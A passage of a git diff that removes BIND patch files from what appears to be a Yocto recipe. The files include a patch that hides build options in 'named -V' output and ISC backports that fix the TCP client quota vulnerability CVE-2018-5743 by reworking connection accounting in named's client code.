-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 27 Aug 2018 21:24:20 +0800
-Subject: [PATCH] `named/lwresd -V' and start log hide build options
-
-The build options expose build path directories, so hide them.
-[snip]
-$ named -V
-|built by make with *** (options are hidden)
-[snip]
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- bin/named/include/named/globals.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/bin/named/include/named/globals.h b/bin/named/include/named/globals.h
-index ba3457e..7741da7 100644
---- a/bin/named/include/named/globals.h
-+++ b/bin/named/include/named/globals.h
-@@ -68,7 +68,7 @@ EXTERN const char * ns_g_version INIT(VERSION);
- EXTERN const char * ns_g_product INIT(PRODUCT);
- EXTERN const char * ns_g_description INIT(DESCRIPTION);
- EXTERN const char * ns_g_srcid INIT(SRCID);
--EXTERN const char * ns_g_configargs INIT(CONFIGARGS);
-+EXTERN const char * ns_g_configargs INIT("*** (options are hidden)");
- EXTERN const char * ns_g_builder INIT(BUILDER);
- EXTERN in_port_t ns_g_port INIT(0);
- EXTERN isc_dscp_t ns_g_dscp INIT(-1);
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/bind/bind/0002-tcp-clients-could-still-be-exceeded-v2.patch b/meta/recipes-connectivity/bind/bind/0002-tcp-clients-could-still-be-exceeded-v2.patch
deleted file mode 100644
index ca4e8b1a66..0000000000
--- a/meta/recipes-connectivity/bind/bind/0002-tcp-clients-could-still-be-exceeded-v2.patch
+++ /dev/null
@@ -1,670 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/719f604]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 719f604e3fad5b7479bd14e2fa0ef4413f0a8fdc Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Witold=20Kr=C4=99cicki?= <wpk@isc.org>
-Date: Fri, 4 Jan 2019 12:50:51 +0100
-Subject: [PATCH 2/6] tcp-clients could still be exceeded (v2)
-
-the TCP client quota could still be ineffective under some
-circumstances. this change:
-
-- improves quota accounting to ensure that TCP clients are
- properly limited, while still guaranteeing that at least one client
- is always available to serve TCP connections on each interface.
-- uses more descriptive names and removes one (ntcptarget) that
- was no longer needed
-- adds comments
-
-(cherry picked from commit 924651f1d5e605cd186d03f4f7340bcc54d77cc2)
-(cherry picked from commit 55a7a458e30e47874d34bdf1079eb863a0512396)
----
- bin/named/client.c | 311 ++++++++++++++++++++-----
- bin/named/include/named/client.h | 14 +-
- bin/named/include/named/interfacemgr.h | 11 +-
- bin/named/interfacemgr.c | 8 +-
- 4 files changed, 267 insertions(+), 77 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index 0739dd48af..a7b49a0f71 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -246,10 +246,11 @@ static void ns_client_dumpmessage(ns_client_t *client, const char *reason);
- static isc_result_t get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
- dns_dispatch_t *disp, bool tcp);
- static isc_result_t get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp,
-- isc_socket_t *sock);
-+ isc_socket_t *sock, ns_client_t *oldclient);
- static inline bool
--allowed(isc_netaddr_t *addr, dns_name_t *signer, isc_netaddr_t *ecs_addr,
-- uint8_t ecs_addrlen, uint8_t *ecs_scope, dns_acl_t *acl);
-+allowed(isc_netaddr_t *addr, dns_name_t *signer,
-+ isc_netaddr_t *ecs_addr, uint8_t ecs_addrlen,
-+ uint8_t *ecs_scope, dns_acl_t *acl)
- static void compute_cookie(ns_client_t *client, uint32_t when,
- uint32_t nonce, const unsigned char *secret,
- isc_buffer_t *buf);
-@@ -405,8 +406,11 @@ exit_check(ns_client_t *client) {
- */
- INSIST(client->recursionquota == NULL);
- INSIST(client->newstate <= NS_CLIENTSTATE_READY);
-- if (client->nreads > 0)
-+
-+ if (client->nreads > 0) {
- dns_tcpmsg_cancelread(&client->tcpmsg);
-+ }
-+
- if (client->nreads != 0) {
- /* Still waiting for read cancel completion. */
- return (true);
-@@ -416,25 +420,58 @@ exit_check(ns_client_t *client) {
- dns_tcpmsg_invalidate(&client->tcpmsg);
- client->tcpmsg_valid = false;
- }
-+
- if (client->tcpsocket != NULL) {
- CTRACE("closetcp");
- isc_socket_detach(&client->tcpsocket);
-+
-+ if (client->tcpactive) {
-+ LOCK(&client->interface->lock);
-+ INSIST(client->interface->ntcpactive > 0);
-+ client->interface->ntcpactive--;
-+ UNLOCK(&client->interface->lock);
-+ client->tcpactive = false;
-+ }
- }
-
- if (client->tcpquota != NULL) {
-- isc_quota_detach(&client->tcpquota);
-- } else {
- /*
-- * We went over quota with this client, we don't
-- * want to restart listening unless this is the
-- * last client on this interface, which is
-- * checked later.
-+ * If we are not in a pipeline group, or
-+ * we are the last client in the group, detach from
-+ * tcpquota; otherwise, transfer the quota to
-+ * another client in the same group.
- */
-- if (TCP_CLIENT(client)) {
-- client->mortal = true;
-+ if (!ISC_LINK_LINKED(client, glink) ||
-+ (client->glink.next == NULL &&
-+ client->glink.prev == NULL))
-+ {
-+ isc_quota_detach(&client->tcpquota);
-+ } else if (client->glink.next != NULL) {
-+ INSIST(client->glink.next->tcpquota == NULL);
-+ client->glink.next->tcpquota = client->tcpquota;
-+ client->tcpquota = NULL;
-+ } else {
-+ INSIST(client->glink.prev->tcpquota == NULL);
-+ client->glink.prev->tcpquota = client->tcpquota;
-+ client->tcpquota = NULL;
- }
- }
-
-+ /*
-+ * Unlink from pipeline group.
-+ */
-+ if (ISC_LINK_LINKED(client, glink)) {
-+ if (client->glink.next != NULL) {
-+ client->glink.next->glink.prev =
-+ client->glink.prev;
-+ }
-+ if (client->glink.prev != NULL) {
-+ client->glink.prev->glink.next =
-+ client->glink.next;
-+ }
-+ ISC_LINK_INIT(client, glink);
-+ }
-+
- if (client->timerset) {
- (void)isc_timer_reset(client->timer,
- isc_timertype_inactive,
-@@ -455,15 +492,16 @@ exit_check(ns_client_t *client) {
- * that already. Check whether this client needs to remain
- * active and force it to go inactive if not.
- *
-- * UDP clients go inactive at this point, but TCP clients
-- * may remain active if we have fewer active TCP client
-- * objects than desired due to an earlier quota exhaustion.
-+ * UDP clients go inactive at this point, but a TCP client
-+ * will needs to remain active if no other clients are
-+ * listening for TCP requests on this interface, to
-+ * prevent this interface from going nonresponsive.
- */
- if (client->mortal && TCP_CLIENT(client) && !ns_g_clienttest) {
- LOCK(&client->interface->lock);
-- if (client->interface->ntcpcurrent <
-- client->interface->ntcptarget)
-+ if (client->interface->ntcpaccepting == 0) {
- client->mortal = false;
-+ }
- UNLOCK(&client->interface->lock);
- }
-
-@@ -472,15 +510,17 @@ exit_check(ns_client_t *client) {
- * queue for recycling.
- */
- if (client->mortal) {
-- if (client->newstate > NS_CLIENTSTATE_INACTIVE)
-+ if (client->newstate > NS_CLIENTSTATE_INACTIVE) {
- client->newstate = NS_CLIENTSTATE_INACTIVE;
-+ }
- }
-
- if (NS_CLIENTSTATE_READY == client->newstate) {
- if (TCP_CLIENT(client)) {
- client_accept(client);
-- } else
-+ } else {
- client_udprecv(client);
-+ }
- client->newstate = NS_CLIENTSTATE_MAX;
- return (true);
- }
-@@ -492,41 +532,57 @@ exit_check(ns_client_t *client) {
- /*
- * We are trying to enter the inactive state.
- */
-- if (client->naccepts > 0)
-+ if (client->naccepts > 0) {
- isc_socket_cancel(client->tcplistener, client->task,
- ISC_SOCKCANCEL_ACCEPT);
-+ }
-
- /* Still waiting for accept cancel completion. */
-- if (! (client->naccepts == 0))
-+ if (! (client->naccepts == 0)) {
- return (true);
-+ }
-
- /* Accept cancel is complete. */
-- if (client->nrecvs > 0)
-+ if (client->nrecvs > 0) {
- isc_socket_cancel(client->udpsocket, client->task,
- ISC_SOCKCANCEL_RECV);
-+ }
-
- /* Still waiting for recv cancel completion. */
-- if (! (client->nrecvs == 0))
-+ if (! (client->nrecvs == 0)) {
- return (true);
-+ }
-
- /* Still waiting for control event to be delivered */
-- if (client->nctls > 0)
-+ if (client->nctls > 0) {
- return (true);
--
-- /* Deactivate the client. */
-- if (client->interface)
-- ns_interface_detach(&client->interface);
-+ }
-
- INSIST(client->naccepts == 0);
- INSIST(client->recursionquota == NULL);
-- if (client->tcplistener != NULL)
-+ if (client->tcplistener != NULL) {
- isc_socket_detach(&client->tcplistener);
-
-- if (client->udpsocket != NULL)
-+ if (client->tcpactive) {
-+ LOCK(&client->interface->lock);
-+ INSIST(client->interface->ntcpactive > 0);
-+ client->interface->ntcpactive--;
-+ UNLOCK(&client->interface->lock);
-+ client->tcpactive = false;
-+ }
-+ }
-+ if (client->udpsocket != NULL) {
- isc_socket_detach(&client->udpsocket);
-+ }
-
-- if (client->dispatch != NULL)
-+ /* Deactivate the client. */
-+ if (client->interface != NULL) {
-+ ns_interface_detach(&client->interface);
-+ }
-+
-+ if (client->dispatch != NULL) {
- dns_dispatch_detach(&client->dispatch);
-+ }
-
- client->attributes = 0;
- client->mortal = false;
-@@ -551,10 +607,13 @@ exit_check(ns_client_t *client) {
- client->newstate = NS_CLIENTSTATE_MAX;
- if (!ns_g_clienttest && manager != NULL &&
- !manager->exiting)
-+ {
- ISC_QUEUE_PUSH(manager->inactive, client,
- ilink);
-- if (client->needshutdown)
-+ }
-+ if (client->needshutdown) {
- isc_task_shutdown(client->task);
-+ }
- return (true);
- }
- }
-@@ -675,7 +734,6 @@ client_start(isc_task_t *task, isc_event_t *event) {
- }
- }
-
--
- /*%
- * The client's task has received a shutdown event.
- */
-@@ -2507,17 +2565,12 @@ client_request(isc_task_t *task, isc_event_t *event) {
- /*
- * Pipeline TCP query processing.
- */
-- if (client->message->opcode != dns_opcode_query)
-+ if (client->message->opcode != dns_opcode_query) {
- client->pipelined = false;
-+ }
- if (TCP_CLIENT(client) && client->pipelined) {
-- result = isc_quota_reserve(&ns_g_server->tcpquota);
-- if (result == ISC_R_SUCCESS)
-- result = ns_client_replace(client);
-+ result = ns_client_replace(client);
- if (result != ISC_R_SUCCESS) {
-- ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-- NS_LOGMODULE_CLIENT, ISC_LOG_WARNING,
-- "no more TCP clients(read): %s",
-- isc_result_totext(result));
- client->pipelined = false;
- }
- }
-@@ -3087,6 +3140,7 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- client->filter_aaaa = dns_aaaa_ok;
- #endif
- client->needshutdown = ns_g_clienttest;
-+ client->tcpactive = false;
-
- ISC_EVENT_INIT(&client->ctlevent, sizeof(client->ctlevent), 0, NULL,
- NS_EVENT_CLIENTCONTROL, client_start, client, client,
-@@ -3100,6 +3154,7 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- client->formerrcache.id = 0;
- ISC_LINK_INIT(client, link);
- ISC_LINK_INIT(client, rlink);
-+ ISC_LINK_INIT(client, glink);
- ISC_QLINK_INIT(client, ilink);
- client->keytag = NULL;
- client->keytag_len = 0;
-@@ -3193,12 +3248,19 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
-
- INSIST(client->state == NS_CLIENTSTATE_READY);
-
-+ /*
-+ * The accept() was successful and we're now establishing a new
-+ * connection. We need to make note of it in the client and
-+ * interface objects so client objects can do the right thing
-+ * when going inactive in exit_check() (see comments in
-+ * client_accept() for details).
-+ */
- INSIST(client->naccepts == 1);
- client->naccepts--;
-
- LOCK(&client->interface->lock);
-- INSIST(client->interface->ntcpcurrent > 0);
-- client->interface->ntcpcurrent--;
-+ INSIST(client->interface->ntcpaccepting > 0);
-+ client->interface->ntcpaccepting--;
- UNLOCK(&client->interface->lock);
-
- /*
-@@ -3232,6 +3294,9 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
- "accept failed: %s",
- isc_result_totext(nevent->result));
-+ if (client->tcpquota != NULL) {
-+ isc_quota_detach(&client->tcpquota);
-+ }
- }
-
- if (exit_check(client))
-@@ -3270,18 +3335,12 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- * deny service to legitimate TCP clients.
- */
- client->pipelined = false;
-- result = isc_quota_attach(&ns_g_server->tcpquota,
-- &client->tcpquota);
-- if (result == ISC_R_SUCCESS)
-- result = ns_client_replace(client);
-- if (result != ISC_R_SUCCESS) {
-- ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-- NS_LOGMODULE_CLIENT, ISC_LOG_WARNING,
-- "no more TCP clients(accept): %s",
-- isc_result_totext(result));
-- } else if (ns_g_server->keepresporder == NULL ||
-- !allowed(&netaddr, NULL, NULL, 0, NULL,
-- ns_g_server->keepresporder)) {
-+ result = ns_client_replace(client);
-+ if (result == ISC_R_SUCCESS &&
-+ (client->sctx->keepresporder == NULL ||
-+ !allowed(&netaddr, NULL, NULL, 0, NULL,
-+ ns_g_server->keepresporder)))
-+ {
- client->pipelined = true;
- }
-
-@@ -3298,12 +3357,80 @@ client_accept(ns_client_t *client) {
-
- CTRACE("accept");
-
-+ /*
-+ * The tcpquota object can only be simultaneously referenced a
-+ * pre-defined number of times; this is configured by 'tcp-clients'
-+ * in named.conf. If we can't attach to it here, that means the TCP
-+ * client quota has been exceeded.
-+ */
-+ result = isc_quota_attach(&client->sctx->tcpquota,
-+ &client->tcpquota);
-+ if (result != ISC_R_SUCCESS) {
-+ bool exit;
-+
-+ ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-+ NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(1),
-+ "no more TCP clients: %s",
-+ isc_result_totext(result));
-+
-+ /*
-+ * We have exceeded the system-wide TCP client
-+ * quota. But, we can't just block this accept
-+ * in all cases, because if we did, a heavy TCP
-+ * load on other interfaces might cause this
-+ * interface to be starved, with no clients able
-+ * to accept new connections.
-+ *
-+ * So, we check here to see if any other client
-+ * is already servicing TCP queries on this
-+ * interface (whether accepting, reading, or
-+ * processing).
-+ *
-+ * If so, then it's okay *not* to call
-+ * accept - we can let this client to go inactive
-+ * and the other one handle the next connection
-+ * when it's ready.
-+ *
-+ * But if not, then we need to be a little bit
-+ * flexible about the quota. We allow *one* extra
-+ * TCP client through, to ensure we're listening on
-+ * every interface.
-+ *
-+ * (Note: In practice this means that the *real*
-+ * TCP client quota is tcp-clients plus the number
-+ * of interfaces.)
-+ */
-+ LOCK(&client->interface->lock);
-+ exit = (client->interface->ntcpactive > 0);
-+ UNLOCK(&client->interface->lock);
-+
-+ if (exit) {
-+ client->newstate = NS_CLIENTSTATE_INACTIVE;
-+ (void)exit_check(client);
-+ return;
-+ }
-+ }
-+
-+ /*
-+ * By incrementing the interface's ntcpactive counter we signal
-+ * that there is at least one client servicing TCP queries for the
-+ * interface.
-+ *
-+ * We also make note of the fact in the client itself with the
-+ * tcpactive flag. This ensures proper accounting by preventing
-+ * us from accidentally incrementing or decrementing ntcpactive
-+ * more than once per client object.
-+ */
-+ if (!client->tcpactive) {
-+ LOCK(&client->interface->lock);
-+ client->interface->ntcpactive++;
-+ UNLOCK(&client->interface->lock);
-+ client->tcpactive = true;
-+ }
-+
- result = isc_socket_accept(client->tcplistener, client->task,
- client_newconn, client);
- if (result != ISC_R_SUCCESS) {
-- UNEXPECTED_ERROR(__FILE__, __LINE__,
-- "isc_socket_accept() failed: %s",
-- isc_result_totext(result));
- /*
- * XXXRTH What should we do? We're trying to accept but
- * it didn't work. If we just give up, then TCP
-@@ -3311,12 +3438,39 @@ client_accept(ns_client_t *client) {
- *
- * For now, we just go idle.
- */
-+ UNEXPECTED_ERROR(__FILE__, __LINE__,
-+ "isc_socket_accept() failed: %s",
-+ isc_result_totext(result));
-+ if (client->tcpquota != NULL) {
-+ isc_quota_detach(&client->tcpquota);
-+ }
- return;
- }
-+
-+ /*
-+ * The client's 'naccepts' counter indicates that this client has
-+ * called accept() and is waiting for a new connection. It should
-+ * never exceed 1.
-+ */
- INSIST(client->naccepts == 0);
- client->naccepts++;
-+
-+ /*
-+ * The interface's 'ntcpaccepting' counter is incremented when
-+ * any client calls accept(), and decremented in client_newconn()
-+ * once the connection is established.
-+ *
-+ * When the client object is shutting down after handling a TCP
-+ * request (see exit_check()), it looks to see whether this value is
-+ * non-zero. If so, that means another client has already called
-+ * accept() and is waiting to establish the next connection, which
-+ * means the first client is free to go inactive. Otherwise,
-+ * the first client must come back and call accept() again; this
-+ * guarantees there will always be at least one client listening
-+ * for new TCP connections on each interface.
-+ */
- LOCK(&client->interface->lock);
-- client->interface->ntcpcurrent++;
-+ client->interface->ntcpaccepting++;
- UNLOCK(&client->interface->lock);
- }
-
-@@ -3390,13 +3544,14 @@ ns_client_replace(ns_client_t *client) {
- tcp = TCP_CLIENT(client);
- if (tcp && client->pipelined) {
- result = get_worker(client->manager, client->interface,
-- client->tcpsocket);
-+ client->tcpsocket, client);
- } else {
- result = get_client(client->manager, client->interface,
- client->dispatch, tcp);
- }
-- if (result != ISC_R_SUCCESS)
-+ if (result != ISC_R_SUCCESS) {
- return (result);
-+ }
-
- /*
- * The responsibility for listening for new requests is hereby
-@@ -3585,6 +3740,7 @@ get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
- client->attributes |= NS_CLIENTATTR_TCP;
- isc_socket_attach(ifp->tcpsocket,
- &client->tcplistener);
-+
- } else {
- isc_socket_t *sock;
-
-@@ -3602,7 +3758,8 @@ get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
- }
-
- static isc_result_t
--get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock)
-+get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
-+ ns_client_t *oldclient)
- {
- isc_result_t result = ISC_R_SUCCESS;
- isc_event_t *ev;
-@@ -3610,6 +3767,7 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock)
- MTRACE("get worker");
-
- REQUIRE(manager != NULL);
-+ REQUIRE(oldclient != NULL);
-
- if (manager->exiting)
- return (ISC_R_SHUTTINGDOWN);
-@@ -3642,7 +3800,28 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock)
- ns_interface_attach(ifp, &client->interface);
- client->newstate = client->state = NS_CLIENTSTATE_WORKING;
- INSIST(client->recursionquota == NULL);
-- client->tcpquota = &ns_g_server->tcpquota;
-+
-+ /*
-+ * Transfer TCP quota to the new client.
-+ */
-+ INSIST(client->tcpquota == NULL);
-+ INSIST(oldclient->tcpquota != NULL);
-+ client->tcpquota = oldclient->tcpquota;
-+ oldclient->tcpquota = NULL;
-+
-+ /*
-+ * Link to a pipeline group, creating it if needed.
-+ */
-+ if (!ISC_LINK_LINKED(oldclient, glink)) {
-+ oldclient->glink.next = NULL;
-+ oldclient->glink.prev = NULL;
-+ }
-+ client->glink.next = oldclient->glink.next;
-+ client->glink.prev = oldclient;
-+ if (oldclient->glink.next != NULL) {
-+ oldclient->glink.next->glink.prev = client;
-+ }
-+ oldclient->glink.next = client;
-
- client->dscp = ifp->dscp;
-
-@@ -3656,6 +3835,12 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock)
- (void)isc_socket_getpeername(client->tcpsocket, &client->peeraddr);
- client->peeraddr_valid = true;
-
-+ LOCK(&client->interface->lock);
-+ client->interface->ntcpactive++;
-+ UNLOCK(&client->interface->lock);
-+
-+ client->tcpactive = true;
-+
- INSIST(client->tcpmsg_valid == false);
- dns_tcpmsg_init(client->mctx, client->tcpsocket, &client->tcpmsg);
- client->tcpmsg_valid = true;
-diff --git a/bin/named/include/named/client.h b/bin/named/include/named/client.h
-index b23a7b191d..1f7973f9c5 100644
---- a/bin/named/include/named/client.h
-+++ b/bin/named/include/named/client.h
-@@ -94,7 +94,8 @@ struct ns_client {
- int nupdates;
- int nctls;
- int references;
-- bool needshutdown; /*
-+ bool tcpactive;
-+ bool needshutdown; /*
- * Used by clienttest to get
- * the client to go from
- * inactive to free state
-@@ -130,9 +131,9 @@ struct ns_client {
- isc_stdtime_t now;
- isc_time_t tnow;
- dns_name_t signername; /*%< [T]SIG key name */
-- dns_name_t * signer; /*%< NULL if not valid sig */
-- bool mortal; /*%< Die after handling request */
-- bool pipelined; /*%< TCP queries not in sequence */
-+ dns_name_t *signer; /*%< NULL if not valid sig */
-+ bool mortal; /*%< Die after handling request */
-+ bool pipelined; /*%< TCP queries not in sequence */
- isc_quota_t *tcpquota;
- isc_quota_t *recursionquota;
- ns_interface_t *interface;
-@@ -143,8 +144,8 @@ struct ns_client {
- isc_sockaddr_t destsockaddr;
-
- isc_netaddr_t ecs_addr; /*%< EDNS client subnet */
-- uint8_t ecs_addrlen;
-- uint8_t ecs_scope;
-+ uint8_t ecs_addrlen;
-+ uint8_t ecs_scope;
-
- struct in6_pktinfo pktinfo;
- isc_dscp_t dscp;
-@@ -166,6 +167,7 @@ struct ns_client {
-
- ISC_LINK(ns_client_t) link;
- ISC_LINK(ns_client_t) rlink;
-+ ISC_LINK(ns_client_t) glink;
- ISC_QLINK(ns_client_t) ilink;
- unsigned char cookie[8];
- uint32_t expire;
-diff --git a/bin/named/include/named/interfacemgr.h b/bin/named/include/named/interfacemgr.h
-index 7d1883e1e8..61b08826a6 100644
---- a/bin/named/include/named/interfacemgr.h
-+++ b/bin/named/include/named/interfacemgr.h
-@@ -77,9 +77,14 @@ struct ns_interface {
- /*%< UDP dispatchers. */
- isc_socket_t * tcpsocket; /*%< TCP socket. */
- isc_dscp_t dscp; /*%< "listen-on" DSCP value */
-- int ntcptarget; /*%< Desired number of concurrent
-- TCP accepts */
-- int ntcpcurrent; /*%< Current ditto, locked */
-+ int ntcpaccepting; /*%< Number of clients
-+ ready to accept new
-+ TCP connections on this
-+ interface */
-+ int ntcpactive; /*%< Number of clients
-+ servicing TCP queries
-+ (whether accepting or
-+ connected) */
- int nudpdispatch; /*%< Number of UDP dispatches */
- ns_clientmgr_t * clientmgr; /*%< Client manager. */
- ISC_LINK(ns_interface_t) link;
-diff --git a/bin/named/interfacemgr.c b/bin/named/interfacemgr.c
-index 419927bf54..955096ef47 100644
---- a/bin/named/interfacemgr.c
-+++ b/bin/named/interfacemgr.c
-@@ -386,8 +386,8 @@ ns_interface_create(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
- * connections will be handled in parallel even though there is
- * only one client initially.
- */
-- ifp->ntcptarget = 1;
-- ifp->ntcpcurrent = 0;
-+ ifp->ntcpaccepting = 0;
-+ ifp->ntcpactive = 0;
- ifp->nudpdispatch = 0;
-
- ifp->dscp = -1;
-@@ -522,9 +522,7 @@ ns_interface_accepttcp(ns_interface_t *ifp) {
- */
- (void)isc_socket_filter(ifp->tcpsocket, "dataready");
-
-- result = ns_clientmgr_createclients(ifp->clientmgr,
-- ifp->ntcptarget, ifp,
-- true);
-+ result = ns_clientmgr_createclients(ifp->clientmgr, 1, ifp, true);
- if (result != ISC_R_SUCCESS) {
- UNEXPECTED_ERROR(__FILE__, __LINE__,
- "TCP ns_clientmgr_createclients(): %s",
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0003-use-reference-counter-for-pipeline-groups-v3.patch b/meta/recipes-connectivity/bind/bind/0003-use-reference-counter-for-pipeline-groups-v3.patch
deleted file mode 100644
index 032cfb8c44..0000000000
--- a/meta/recipes-connectivity/bind/bind/0003-use-reference-counter-for-pipeline-groups-v3.patch
+++ /dev/null
@@ -1,278 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/366b4e1]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 366b4e1ede8aed690e981e07137cb1cb77879c36 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Micha=C5=82=20K=C4=99pie=C5=84?= <michal@isc.org>
-Date: Thu, 17 Jan 2019 15:53:38 +0100
-Subject: [PATCH 3/6] use reference counter for pipeline groups (v3)
-
-Track pipeline groups using a shared reference counter
-instead of a linked list.
-
-(cherry picked from commit 513afd33eb17d5dc41a3f0d2d38204ef8c5f6f91)
-(cherry picked from commit 9446629b730c59c4215f08d37fbaf810282fbccb)
----
- bin/named/client.c | 171 ++++++++++++++++++++-----------
- bin/named/include/named/client.h | 2 +-
- 2 files changed, 110 insertions(+), 63 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index a7b49a0f71..277656cef0 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -299,6 +299,75 @@ ns_client_settimeout(ns_client_t *client, unsigned int seconds) {
- }
- }
-
-+/*%
-+ * Allocate a reference counter that will track the number of client structures
-+ * using the TCP connection that 'client' called accept() for. This counter
-+ * will be shared between all client structures associated with this TCP
-+ * connection.
-+ */
-+static void
-+pipeline_init(ns_client_t *client) {
-+ isc_refcount_t *refs;
-+
-+ REQUIRE(client->pipeline_refs == NULL);
-+
-+ /*
-+ * A global memory context is used for the allocation as different
-+ * client structures may have different memory contexts assigned and a
-+ * reference counter allocated here might need to be freed by a
-+ * different client. The performance impact caused by memory context
-+ * contention here is expected to be negligible, given that this code
-+ * is only executed for TCP connections.
-+ */
-+ refs = isc_mem_allocate(client->sctx->mctx, sizeof(*refs));
-+ isc_refcount_init(refs, 1);
-+ client->pipeline_refs = refs;
-+}
-+
-+/*%
-+ * Increase the count of client structures using the TCP connection that
-+ * 'source' is associated with and put a pointer to that count in 'target',
-+ * thus associating it with the same TCP connection.
-+ */
-+static void
-+pipeline_attach(ns_client_t *source, ns_client_t *target) {
-+ int old_refs;
-+
-+ REQUIRE(source->pipeline_refs != NULL);
-+ REQUIRE(target->pipeline_refs == NULL);
-+
-+ old_refs = isc_refcount_increment(source->pipeline_refs);
-+ INSIST(old_refs > 0);
-+ target->pipeline_refs = source->pipeline_refs;
-+}
-+
-+/*%
-+ * Decrease the count of client structures using the TCP connection that
-+ * 'client' is associated with. If this is the last client using this TCP
-+ * connection, free the reference counter and return true; otherwise, return
-+ * false.
-+ */
-+static bool
-+pipeline_detach(ns_client_t *client) {
-+ isc_refcount_t *refs;
-+ int old_refs;
-+
-+ REQUIRE(client->pipeline_refs != NULL);
-+
-+ refs = client->pipeline_refs;
-+ client->pipeline_refs = NULL;
-+
-+ old_refs = isc_refcount_decrement(refs);
-+ INSIST(old_refs > 0);
-+
-+ if (old_refs == 1) {
-+ isc_mem_free(client->sctx->mctx, refs);
-+ return (true);
-+ }
-+
-+ return (false);
-+}
-+
- /*%
- * Check for a deactivation or shutdown request and take appropriate
- * action. Returns true if either is in progress; in this case
-@@ -421,6 +490,40 @@ exit_check(ns_client_t *client) {
- client->tcpmsg_valid = false;
- }
-
-+ if (client->tcpquota != NULL) {
-+ if (client->pipeline_refs == NULL ||
-+ pipeline_detach(client))
-+ {
-+ /*
-+ * Only detach from the TCP client quota if
-+ * there are no more client structures using
-+ * this TCP connection.
-+ *
-+ * Note that we check 'pipeline_refs' and not
-+ * 'pipelined' because in some cases (e.g.
-+ * after receiving a request with an opcode
-+ * different than QUERY) 'pipelined' is set to
-+ * false after the reference counter gets
-+ * allocated in pipeline_init() and we must
-+ * still drop our reference as failing to do so
-+ * would prevent the reference counter itself
-+ * from being freed.
-+ */
-+ isc_quota_detach(&client->tcpquota);
-+ } else {
-+ /*
-+ * There are other client structures using this
-+ * TCP connection, so we cannot detach from the
-+ * TCP client quota to prevent excess TCP
-+ * connections from being accepted. However,
-+ * this client structure might later be reused
-+ * for accepting new connections and thus must
-+ * have its 'tcpquota' field set to NULL.
-+ */
-+ client->tcpquota = NULL;
-+ }
-+ }
-+
- if (client->tcpsocket != NULL) {
- CTRACE("closetcp");
- isc_socket_detach(&client->tcpsocket);
-@@ -434,44 +537,6 @@ exit_check(ns_client_t *client) {
- }
- }
-
-- if (client->tcpquota != NULL) {
-- /*
-- * If we are not in a pipeline group, or
-- * we are the last client in the group, detach from
-- * tcpquota; otherwise, transfer the quota to
-- * another client in the same group.
-- */
-- if (!ISC_LINK_LINKED(client, glink) ||
-- (client->glink.next == NULL &&
-- client->glink.prev == NULL))
-- {
-- isc_quota_detach(&client->tcpquota);
-- } else if (client->glink.next != NULL) {
-- INSIST(client->glink.next->tcpquota == NULL);
-- client->glink.next->tcpquota = client->tcpquota;
-- client->tcpquota = NULL;
-- } else {
-- INSIST(client->glink.prev->tcpquota == NULL);
-- client->glink.prev->tcpquota = client->tcpquota;
-- client->tcpquota = NULL;
-- }
-- }
--
-- /*
-- * Unlink from pipeline group.
-- */
-- if (ISC_LINK_LINKED(client, glink)) {
-- if (client->glink.next != NULL) {
-- client->glink.next->glink.prev =
-- client->glink.prev;
-- }
-- if (client->glink.prev != NULL) {
-- client->glink.prev->glink.next =
-- client->glink.next;
-- }
-- ISC_LINK_INIT(client, glink);
-- }
--
- if (client->timerset) {
- (void)isc_timer_reset(client->timer,
- isc_timertype_inactive,
-@@ -3130,6 +3195,7 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- dns_name_init(&client->signername, NULL);
- client->mortal = false;
- client->pipelined = false;
-+ client->pipeline_refs = NULL;
- client->tcpquota = NULL;
- client->recursionquota = NULL;
- client->interface = NULL;
-@@ -3154,7 +3220,6 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- client->formerrcache.id = 0;
- ISC_LINK_INIT(client, link);
- ISC_LINK_INIT(client, rlink);
-- ISC_LINK_INIT(client, glink);
- ISC_QLINK_INIT(client, ilink);
- client->keytag = NULL;
